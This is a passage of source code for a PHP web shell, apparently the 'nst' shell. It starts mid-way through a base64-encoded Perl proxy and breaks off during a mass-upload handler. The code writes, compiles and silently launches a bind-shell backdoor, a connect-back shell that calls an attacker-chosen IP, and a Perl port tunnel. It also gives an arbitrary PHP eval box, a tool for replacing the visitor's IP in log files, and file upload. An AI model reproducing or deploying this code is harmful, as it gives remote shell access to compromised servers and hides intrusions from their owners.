HJpbnQgIkNvbm5lY3Rpb24gZnJvbSAiLCBqb2luKCIuIiwgQGluZXRhZGRyKSwgIiAgcG9ydDogJHBvcnQgXG4iOw0KIy0tLSAgRm9yayBhIHN1YnByb2Nlc3MgdG8gaGFuZGxlIHJlcXVlc3QuDQojLS0tICBQYXJlbnQgcHJvY2VzIGNvbnRpbnVlcyBsaXN0ZW5pbmcuDQogICAgaWYgKGZvcmspIHsNCgl3YWl0OwkJIyBGb3Igbm93IHdlIHdhaXQgZm9yIHRoZSBjaGlsZCB0byBmaW5pc2gNCgluZXh0OwkJIyBXZSB3YWl0IHNvIHRoYXQgcHJpbnRvdXRzIGRvbid0IG1peA0KICAgIH0NCiMtLS0gIFJlYWQgZmlyc3QgbGluZSBvZiByZXF1ZXN0IGFuZCBhbmFseXplIGl0Lg0KIy0tLSAgUmV0dXJuIGFuZCBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QgbWV0aG9kLg0KICAgKCRmaXJzdCwkbWV0aG9kKSA9ICZhbmFseXplX3JlcXVlc3Q7DQojLS0tICBTZW5kIHJlcXVlc3QgdG8gcmVtb3RlIGhvc3QNCiAgICBwcmludCBVUkwgJGZpcnN0Ow0KICAgIHByaW50ICRmaXJzdDsNCiAgICB3aGlsZSAoPENISUxEPikgew0KCXByaW50ICRfOw0KCW5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8pOw0KCXByaW50IFVSTCAkXzsNCglsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCiAgICB9DQogICAgaWYgKCRtZXRob2QgZXEgIlBPU1QiKSB7DQoJJGRhdGEgPSA8Q0hJTEQ+Ow0KCXByaW50ICRkYXRhOw0KCXByaW50IFVSTCAkZGF0YTsNCiAgICB9DQogICAgcHJpbnQgVVJMICJcbiI7DQojLS0tICBXYWl0IGZvciByZXNwb25zZSBhbmQgdHJhbnNmZXIgaXQgdG8gcmVxdWVzdG9yLg0KICAgIHByaW50ICIgLS0tIERvbmUgc2VuZGluZy4gUmVzcG9uc2U6IFxuXG4iOw0KICAgICRoZWFkZXIgPSAxOw0KICAgICR0ZXh0ID0gMDsNCiAgICB3aGlsZSAoPFVSTD4pIHsNCglwcmludCBDSElMRCAkXzsNCglpZiAoJGhlYWRlciB8fCAkdGV4dCkgewkgICAgICMgT25seSBwcmludCBoZWFkZXIgJiB0ZXh0IGxpbmVzIHRvIFNURE9VVA0KCSAgICBwcmludCAkXzsNCgkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KCQkkaGVhZGVyID0gMDsNCgkgICAgfQ0KIwkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15Db250ZW50LXR5cGU6IHRleHQvKSB7DQojCQkkdGV4dCA9IDE7DQojCSAgICB9DQoJfQ0KICAgIH0NCiAgICBjbG9zZShVUkwpOw0KICAgIGNsb3NlKENISUxEKTsNCiAgICBleGl0OwkJCSMgRXhpdCBmcm9tIGNoaWxkIHByb2Nlc3MNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0JYW5hbHl6ZV9yZXF1ZXN0CQkJCQkJCS0tDQojLS0JCQkJCQkJCQktLQ0KIy0tCUFuYWx5emUgYSBuZXcgcmVxdWVzdC4gIEZpcnN0IHJlYWQgaW4gZmlyc3QgbGluZSBvZiByZXF1ZXN0LgktLQ0KIy0tCVJlYWQgVVJMIGZyb20gaXQsIHByb2Nlc3MgVVJMIGFuZCBvcGVuIGNvbm5lY3Rpb24uCQktLQ0KIy0tCVJldHVybiBhbiBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QJLS0NCiMtLQltZXRob2QuCQkJCQkJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KIy0tLSAgUmVhZCBmaXJzdCBsaW5lIG9mIEhUVFAgcmVxdWVzdA0KICAgICRmaXJzdCA9IDxDSElMRD47DQoNCiAgICAkdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KICAgIHByaW50ICJSZXF1ZXN0IGZvciBVUkw6ICAkdXJsIFxuIjsNCg0KIy0tLSAgQ2hlY2sgaWYgZmlyc3QgbGluZSBpcyBvZiB0aGUgZm9ybSBHRVQgaHR0cDovL2hvc3QtbmFtZSAuLi4NCiAgICAoJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQoJKCRmaXJzdCA9fiBtIShHRVR8UE9TVHxIRUFEKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KIy0tLSAgSWYgbm90LCBiYWQgcmVxdWVzdC4NCiAgICANCiAgICBpZiAoISRyZW1vdGVfaG9zdCkgew0KCXByaW50ICRmaXJzdDsNCgl3aGlsZSAoPENISUxEPikgew0KCSAgICBwcmludCAkXzsNCgkgICAgbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQoJfQ0KCXByaW50ICJJbnZhbGlkIEhUVFAgcmVxdWVzdCBmcm9tICIsIGpvaW4oIi4iLCBAaW5ldGFkZHIpLCAiXG4iOw0KIwlwcmludCBDSElMRCAiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIiwiXG5cbiI7DQoJcHJpbnQgQ0hJTEQgIkkgZG9uJ3QgdW5kZXJzdGFuZCB5b3VyIHJlcXVlc3QuXG4iOw0KCWNsb3NlKENISUxEKTsNCglleGl0Ow0KICAgIH0NCiMtLS0gIElmIHJlcXVlc3RlZCBVUkwgaXMgdGhlIHByb3h5IHNlcnZlciB0aGVuIGlnbm9yZSByZXF1ZXN0DQogICAgJHJlbW90ZV9pcCA9IChnZXRob3N0YnluYW1lKCRyZW1vdGVfaG9zdCkpWzRdOw0KICAgIGlmICgoJHJlbW90ZV9pcCBlcSAkbG9jYWxfaG9zdF9pcCkgJiYgKCRyZW1vdGVfcG9ydCBlcSAkcHJveHlfcG9ydCkpIHsNCglwcmludCAkZmlyc3Q7DQoJd2hpbGUgKDxDSElMRD4pIHsNCgkgICAgcHJpbnQgJF87DQoJICAgIGxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0qJC8pOw0KCX0NCglwcmludCAiIC0tLSBDb25uZWN0aW9uIHRvIHByb3h5IHNlcnZlciBpZ25vcmVkLlxuIjsNCiMJcHJpbnQgQ0hJTEQgIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIsIlxuXG4iOw0KCXByaW50IENISUxEICJJdCdzIG5vdCBuaWNlIHRvIG1ha2UgbWUgbG9vcCBvbiBteXNlbGYhLlxuIjsNCgljbG9zZShDSElMRCk7DQoJZXhpdDsNCiAgICB9DQojLS0tICBTZXR1cCBjb25uZWN0aW9uIHRvIHRhcmdldCBob3N0IGFuZCBzZW5kIHJlcXVlc3QNCiAgICAkcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KICAgICZvcGVuX2Nvbm5lY3Rpb24oVVJMLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7DQojLS0tICBSZW1vdmUgcmVtb3RlIGhvc3RuYW1lIGZyb20gVVJMDQogICAgICAgICRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KICAgICgkZmlyc3QsICRtZXRob2QpOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLQlsaXN0ZW5fdG9fcG9ydChTT0NLRVQsICRwb3J0KQkJCQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgbGlzdGVucyB0byBhIHNwZWNpZmljIHBvcnQJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBsaXN0ZW5fdG9fcG9ydCB7DQogICAgbG9jYWwgKCRwb3J0KSA9ICRfWzFdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIsICRtYXhfcmVxdWVzdHMpOw0KICAgICRtYXhfcmVxdWVzdHMgPSAzOwkJIyBNYXggbnVtYmVyIG9mIG91dHN0YW5kaW5nIHJlcXVlc3RzDQogICAgJHNvY2tldF9mb3JtYXQgPSAnUyBuIGE0IHg4JzsNCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcGFja2VkX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICJcMFwwXDBcMCIpOw0KICAgIHNvY2tldCgkX1swXSwgJlBGX0lORVQsICZTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgInNvY2tldDogJCEiOw0KICAgIGJpbmQoJF9bMF0sICRwYWNrZWRfcG9ydCkgfHwgZGllICJiaW5kOiAkISI7DQogICAgbGlzdGVuKCRfWzBdLCAkbWF4X3JlcXVlc3RzKSB8fCBkaWUgImxpc3RlbjogJCEiOw0KICAgICRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQogICAgfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tCW9wZW5fY29ubmVjdGlvbihTT0NLRVQsICRyZW1vdGVfaG9zdG5hbWUsICRwb3J0KQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgY29ubmVjdHMgdG8gYSBjZXJ0YWluIGhvc3QJCQktLQ0KIy0tCSRsb2NhbF9ob3N0X2lwIGlzIGFzc3VtZWQgdG8gYmUgbG9jYWwgaG9zdG5hbWUgSVAgYWRkcmVzcwktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KICAgIGxvY2FsICgkcmVtb3RlX2hvc3RuYW1lLCAkcG9ydCkgPSBAX1sxLDJdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIpOw0KICAgIGxvY2FsICgkcmVtb3RlX2FkZHIsIEByZW1vdGVfaXAsICRyZW1vdGVfaXApOw0KICAgIGxvY2FsICgkbG9jYWxfcG9ydCwgJHJlbW90ZV9wb3J0KTsNCiAgICBpZiAoJHBvcnQgIX4gL15cZCskLykgew0KCSRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQoJJHBvcnQgPSA2NjY3IHVubGVzcyAoJHBvcnQpOw0KICAgIH0NCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcmVtb3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg=="; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl /tmp/nst_perl_proxy.pl $port &"); +unlink("/tmp/nst_perl_proxy.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_proxy_tmp"); +$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &"); +unlink(".nst_proxy_tmp/nst_perl_proxy.pl"); +rmdir(".nst_proxy_tmp"); +} +} +$show_ps="1"; +}#end of start perl_proxy + +if($_POST['c_bd']){ +$port=$_POST['port']; +$c_bd_scp = "#define PORT $port +#include <stdio.h> +#include <signal.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> + +int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; +struct sockaddr_in serv_addr; +struct sockaddr_in client_addr; + +int main () +{ + soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (soc_des == -1) + exit(-1); + bzero((char *) &serv_addr, sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); + serv_addr.sin_port = htons(PORT); + soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); + if (soc_rc != 0) + exit(-1); + if (fork() != 0) + exit(0); + setpgrp(); + signal(SIGHUP, SIG_IGN); + if (fork() != 0) + exit(0); + soc_rc = listen(soc_des, 5); + if (soc_rc != 0) + exit(0); + while (1) { + soc_len = sizeof(client_addr); + soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); + if (soc_cli < 0) + exit(0); + cli_pid = getpid(); + server_pid = fork(); + if (server_pid != 0) { + dup2(soc_cli,0); + dup2(soc_cli,1); + dup2(soc_cli,2); + execl(\"/bin/sh\",\"sh\",(char *)0); + close(soc_cli); + exit(0); + } + close(soc_cli); + } +} + +"; + + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd"); +passthru("nohup /tmp/nst_bd &"); +unlink("/tmp/nst_c_bd.c"); +unlink("/tmp/nst_bd"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd"); +passthru("nohup .nst_bd_tmp/nst_bd &"); +unlink(".nst_bd_tmp/nst_bd"); +unlink(".nst_bd_tmp/nst_c_bd.c"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of c bd + + +if($_POST['bc_c']){ # nc -l -p 4500 +$port_c = $_POST['port_c']; +$ip=$_POST['ip']; +$bc_c_scp = "#include <stdio.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <unistd.h> +#include <fcntl.h> + +#include <netinet/in.h> +#include <netdb.h> + +int fd, sock; +int port = $port_c; +struct sockaddr_in addr; + +char mesg[] = \"::Connect-Back Backdoor:: CMD: \"; +char shell[] = \"/bin/sh\"; + +int main(int argc, char *argv[]) { + while(argc<2) { + fprintf(stderr, \" %s <ip> \", argv[0]); + exit(0); } + +addr.sin_family = AF_INET; +addr.sin_port = htons(port); +addr.sin_addr.s_addr = inet_addr(argv[1]); +fd = socket(AF_INET, SOCK_STREAM, 0); +connect(fd, (struct sockaddr*)&addr, sizeof(addr)); + +send(fd, mesg, sizeof(mesg), 0); + +dup2(fd, 0); +dup2(fd, 1); +dup2(fd, 2); +execl(shell, \"in.telnetd\", 0); + +close(fd); +return 1; +} + +"; + +if(is_writable("/tmp")){ +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");} +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");} +$fp=fopen("/tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c"); +passthru("nohup /tmp/nst_bc_c $ip &"); +unlink("/tmp/nst_bc_c"); +unlink("/tmp/nst_bc_c.c"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bc_c_tmp"); +$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c"); +passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &"); +unlink(".nst_bc_c_tmp/nst_bc_c.c"); +unlink(".nst_bc_c_tmp/nst_bc_c"); +rmdir(".nst_bc_c_tmp"); +} +} +$show_ps="1"; + +}#end of back connect C + + +if($_POST['datapipe_pl']){ +$port_2=$_POST['port_2']; +$port_3=$_POST['port_3']; +$ip=$_POST['ip']; +$datapipe_pl = " +#!/usr/bin/perl +# coded by CuTTer (rus hacker) +use IO::Socket; +use POSIX; + +\$localport=$port_2; +\$host=\"$ip\"; +\$port=$port_3; + +\$daemon=1; + +\$DIR = undef; + +## (1-, 0-) +\$log=0; + + + + +\$| = 1; + +if (\$daemon){ + print \"3anycKaeM daemon\n\"; + + \$pid = fork; + exit if \$pid; + die \"Couldn't fork: \$!\" unless defined(\$pid); + POSIX::setsid() or die \"Can't start a new session: \$!\"; +} + +%o = ('port' => \$localport, + 'toport' => \$port, + 'tohost' => \$host); + +\$ah = IO::Socket::INET->new( + 'LocalPort' => \$localport, + 'Reuse' => 1, + 'Listen' => 10) + || die \" : \$!\"; + +print \" .\n\" if \$log; +\$SIG{'CHLD'} = 'IGNORE'; +\$num = 0; +while (1) { + \$ch = \$ah->accept(); + if (!\$ch) { + print STDERR \" accept: \$!\n\"; + next; + } + + printf(\" : host %s, port %s.\n\", + \$ch->peerhost(), \$ch->peerport()) if \$log; + ++\$num; + \$pid = fork(); + if (!defined(\$pid)) { + print STDERR \" fork: \$!\n\"; + } elsif (\$pid == 0) { +## + \$ah->close(); + Run(\%o, \$ch, \$num); + } else { + print \"Parent: Fork , .\n\" if \$log; + \$ch->close(); + } +} + + +sub Run { + my(\$o, \$ch, \$num) = @_; + my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'}, + 'PeerPort' => \$o->{'toport'}); + print(\"Child: \$o->{'tohost'}, \$o->{'toport'}.\n\") if \$log; + if (!\$th) { + printf STDERR (\"Child: %s, %s.\n\", + \$o->{'tohost'}, \$o->{'toport'}); + exit 0; + } + + my \$fh; + if (\$o->{'dir'}) { + \$fh = Symbol::gensym(); + open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\") + or die \"Child: \$o->{'dir'}/tunnel\$num.log: \$!\"; + } + + \$ch->autoflush(); + \$th->autoflush(); + while (\$ch || \$th) { + print \"Child: .\n\" if \$log; + my \$rin = \"\"; + vec(\$rin, fileno(\$ch), 1) = 1 if \$ch; + vec(\$rin, fileno(\$th), 1) = 1 if \$th; + my(\$rout, \$eout); + select(\$rout = \$rin, undef, \$eout = \$rin, 120); + if (!\$rout && !\$eout) { + print STDERR \"Child: Timeout.\n\"; + } + my \$cbuffer = \"\"; + my \$tbuffer = \"\"; + + if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) { + print \"Child: .\n\" if \$log; + my \$result = sysread(\$ch, \$tbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: : \$!\n\"; + exit 0; + } + if (\$result == 0) { + print \"Child: .\n\" if \$log; + exit 0; + } + + print \"Child: : \$cbuffer\n\" if \$log; + } + + if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) { + print \"Child: .\n\" if \$log; + my \$result = sysread(\$th, \$cbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: : \$!\n\"; + exit 0; + } + + if (\$result == 0) { + print \"Child: .\n\" if \$log; + exit 0; + } + + print \"Child: : \$cbuffer\n\" if \$log; + } + + if (\$fh && \$tbuffer) { + (print \$fh \$tbuffer); + } + + while (my \$len = length(\$tbuffer)) { + print \"Child: \$len .\n\" if \$log; + my \$res = syswrite(\$th, \$tbuffer, \$len); + print \"Child: .\n\" if \$log; + if (\$res > 0) { + \$tbuffer = substr(\$tbuffer, \$res); + } else { + print STDERR \"Child: : \$!\n\"; + } + } + + while (my \$len = length(\$cbuffer)) { + print \"Child: \$len .\n\" if \$log; + my \$res = syswrite(\$ch, \$cbuffer, \$len); + print \"Child: ..\n\" if \$log; + if (\$res > 0) { + \$cbuffer = substr(\$cbuffer, \$res); + } else { + print STDERR \"Child: : \$!\n\"; + } + } + } +} + +"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl /tmp/nst_perl_datapipe.pl &"); +unlink("/tmp/nst_perl_datapipe.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_datapipe_tmp"); +$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &"); +unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl"); +rmdir(".nst_datapipe_tmp"); +} +} +$show_ps="1"; + +}#end of datapipe perl + + + + + +if($show_ps=="1"){ +print "<center><b>[ps ux]</b></center><br><br>"; +print "<pre>"; +passthru("ps ux"); +print "</pre><br><br>"; +} + + + +echo "<form method=post><b>md5:</b><br><input name=md5 size=30> +<Br> +md5 online encoder/decoder (brutforce) (php) - [<a href=http://nst.void.ru/?q=releases&download=4>DOWNLOAD</a>] +</form> +"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5:<br><textarea rows=1 cols=113>".md5($md5)."</textarea>";} +echo "<br> +<form method=post><b>base64 e/d:</b><br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +<b>Encode: <br><textarea rows=15 cols=113>".base64_encode($base64)."</textarea><br> +Decode:</b> <br><textarea rows=15 cols=113>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post><b>DES:</b><br><input name=des size=30><br> +John The Ripper [<a href=http://www.openwall.com/john/ target=_blank>Web</a>]</form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "<b>Des:</b> <br><textarea rows=15 cols=113>".crypt($des)."</textarea>";} + +print " +<b>eval:</b<br> +(example: print \"Hello World\";) +<form method=post> +<font color=red><b>&lt;?</b><br> +<textarea name=eval rows=15 cols=113></textarea><br> +<b>?&gt;</b></font><br> +<input type=submit value=Run style='width:150px;'> +</form><br> +"; + +function eval_sl($editf){ +if(get_magic_quotes_gpc()==1){ +$editf=stripslashes($editf); +} +return $editf; +} + + +if($_POST['eval']){ +print "<b>RESULT:<br><br></b>"; +eval(eval_sl($_POST['eval'])); +print "<br><br>"; + +print "<font color=green><b>PHP:</b><br>\r\n\r\n"; +print "&lt;?\r\n"; +print "<br>"; +print htmlspecialchars(eval_sl(($_POST['eval']))); +print "<br>"; +print "?&gt;\r\n\r\n</font><br><br>"; + +} + +echo $copyr; +exit;} + +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +Replace tool:<br> +(You can replace any text)<br> +File: $de<br> +<form method=post> +1. Your ip.<br> +2. microsoft.com ip :)<br> +Replace this <input name=thisX size=30 value=$ip> by this <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=Replace> +</form> +"; + +if(@$_POST['doit']){ +@$thisX=$_POST['thisX']; +@$bythis=$_POST['bythis']; +@$e=$_GET['e']; +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$thisX","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$thisX Replaced by $bythis<br> +[<a href='$php_self?d=$d&e=$e'>VIew file</a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + +if(@$_GET['t']=="upload"){ +echo "<br> +<a href='$php_self?d=$d&t=massupload'>* Mass upload *</a><br> +File upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text size=50><br> +<input name=where size=52 value='$d'><br> +New file name:<br> +<input name=newf size=30 autocomplete=off> (if empty, it will be default)<br> +<input type=submit value=Upload name=uploadf> +</form><br> +"; + +if(@$_POST['uploadf']){ +$where=$_POST['where']; +$newf=$_POST['newf']; +$where=str_replace("//","/",$where); +if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;} +$uploadfile = "$where/".$newf; +if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { +$uploadfile=str_replace("//","/",$uploadfile); +echo "<i><br>Uploaded to $uploadfile</i><br>"; +}else{ +echo "<i><br>Error</i><br>";} +} +} + +if(@$_GET['t']=="massupload"){ +echo " +Mass upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$d'><br> +<input type=submit value=Upload name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { 